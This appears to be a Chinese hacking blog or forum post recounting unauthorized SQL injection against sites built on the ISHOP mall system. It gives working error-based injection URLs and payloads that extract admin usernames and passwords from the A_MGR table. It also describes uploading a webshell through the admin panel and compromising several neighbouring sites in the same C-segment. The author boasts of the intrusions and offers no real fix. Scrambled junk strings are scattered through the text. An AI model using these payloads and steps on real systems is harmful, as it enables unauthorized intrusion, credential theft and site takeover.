ISHOP商场建站系统注入漏洞

admin

发现一个注入点
& V. Q* O- B4 [1 v( p% `3 N  [http://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
6 I% Q+ U  r) J; }" v% z- u
习惯性的加’having1=1--
  e" i' s& ~) X0 J  K( F
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—

0
+ S2 q; J( ^$ x6 @  X
) ~4 {1 N/ ?# g爆出Diary_A.dl_Title（这时候很激动啊）

那么继续
9 J# d/ N6 d8 K- `http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—

继续，一直爆下去
, J( A4 I/ d3 Q1 Z+ x) b' a: m
9 w4 h3 A  D$ d0 A) R' J  a爆到几个字段和表段 但是没找到需要的管理用户的字段

) S1 n* ]- x) x* s7 u蛋疼了 怎么办 然后去后台登陆页看源码

2 C- ]5 _$ Z2 Z0
' o& ^0 I( T% ]! }; a$ H
Input name= “ADUID”
! }# V) _/ y/ L: d2 nInput name= “ADPWD”
6 m! X9 F7 a+ u! }; _/ Y; K  r' a
7 f9 O7 J# N( r! B9 x- M很幸运 找到了字段那就继续
找到之后开始爆用户
& Q2 R: |5 d; M# O: ^7 thttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
爆密码
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
测试了下 这个注入点只能爆到文章哪里的表

; N5 u4 N+ ~3 b  T. m头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了
: A. R9 J6 j/ ?: e. d- X6 A
又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了
( p" n6 z& S3 x9 B4 x
473

( H$ i0 _) b: ?进后台

) W) a7 p! S/ Y+ G+ l
8 J2 w; m  x3 S0 {2 e) ~发现几个上传点 有的地方不能上传 而且防止恶意代码

6 S* G% ^( k4 u: {9 N) J没办法 各种百度各种找大牛 找到一只好像可以突破的马


$ {2 v$ P3 y& b# T8 a在系统管理那里直接上传 不过没有显示地址
$ H7 x7 b+ K/ e. F
再上传一次 抓包 搞定OK

1 _% g0 H) H- Y) D7 B9 n$ x

) `" ~7 v- P  a0 f4 B4 r472

晚上不行了 去睡觉。。。
第二天刚起床 闲的没事做继续日站吧

找个站 就把这个站的旁c扫了下

( _- _9 p7 X  d) l. U6 b. P发现c段也有一个购物站 ，然后还和这个站的模板差不多
3 G3 C# s, f1 M+ i2 w  v
7 _% v" y* \. t就找到会员登录口测试
  v% _! i5 d+ G- I
'and (select top 1 MGR_UID from A_MGR)>0—
果断爆到了 这时候我很激动 通杀

7 e; p; m6 d0 J8 S% G% I; `再次翻c段
6 z. R/ f/ n& H  ?( B( k. W/ w
翻出几个站 都成功拿下


1 G" D$ ?: ]2 m& C& U
修复方案：
8 Y0 x( r& \9 e8 |# C1 }1 g$ _! t他们比我专业
+ X$ W% n/ m, M. M' C​

: T( z; `- `7 L5 O0 s+ R